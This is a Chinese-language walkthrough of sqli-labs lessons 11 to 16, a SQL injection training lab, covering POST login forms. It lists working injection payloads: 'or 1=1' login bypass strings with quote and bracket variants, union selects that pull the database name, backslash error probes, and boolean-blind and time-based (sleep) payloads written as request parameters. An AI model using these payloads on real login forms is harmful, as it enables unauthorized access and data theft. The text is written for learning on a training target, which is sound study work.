less-11
select username,password from users where username='$username' && password='$password' limit 0,1; 后台执行的数据库语句大概就是这样(●'◡'●),所以当我们提交输入的内容时: select username,password from users where username='' or 1=1 # && password='$password' limit o,1;
@$sql=”SELECT username, password FROM users WHERE username=’admin’or’1’=’1# and password=’$passwd’ LIMIT 0,1”;
在#以后的内容就被注释掉,前面的内容因为or 1=1恒成立,所以语句就成立,我们此时以admin的用户登录。
那么接下来我们尝试用get注入中用到的其他的语句代替or 1=1 进行注入。
1admin’union select 1,database()#
@$sql=”SELECT username, password FROM users WHERE username=’admin’union select 1,database()# and password=’$passwd’ LIMIT 0,1”;
less-12
进行尝试 在用户名那里输入:1\ (会报出错误信息:near '"1\") and password=("") LIMIT 0,1')可以判断使用 “) --+ 进行注入
less-13
进行尝试 在用户名那里输入:1\ 报错:use near ''1\') and password=('') LIMIT 0,1' at line 1 判断使用 ‘)--+ 注入
less-14
1\尝试 报错:use near '"1\" and password="" LIMIT 0,1' at line 1 看出双引号的错误
less-15
1\ ') ") 尝试 但是没有错误提示,报错注入不行 所以,得换个思路测试:时间注入、boolean、union
可我们不知道用户怎么办?在POST型中要判断字符型注入,最快的方法就是利用“万能语句” 即
1 or 1=1 – # 1) or 1=1– # 1)) or 1=1– #
1’ or 1=1 – # 1’) or 1=1– # 1’) or 1=1– #
1” or 1=1 – # 1”) or 1=1– # 1”) or 1=1– #
一般POST型使用1’ or 1=1 – #和1” or 1=1 – # 成功的概率最大因单双引号引起的闭合问题更大点
boolean注入
‘ or (ord(substr(database(),1,1))>100) #
uname=1’ or left(database(),1)>’a’ – #&passwd=1 返回正确
uname=1’ or left(database(),1)>’s’ – #&passwd=1 返回错误
uname=1’ or left(database(),1)=’s’ – #&passwd=1 返回正确
时间注入
uname=admin’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
延时注入
1’ or if(1,1,sleep(3)) – #
less-16
与less15差不多的套路 利用万能语句,初步确认了这是一道带括号的双引号字符注入: 1") or 1=1 -- #
总结
GET
get型直接就试:\。这个字符探错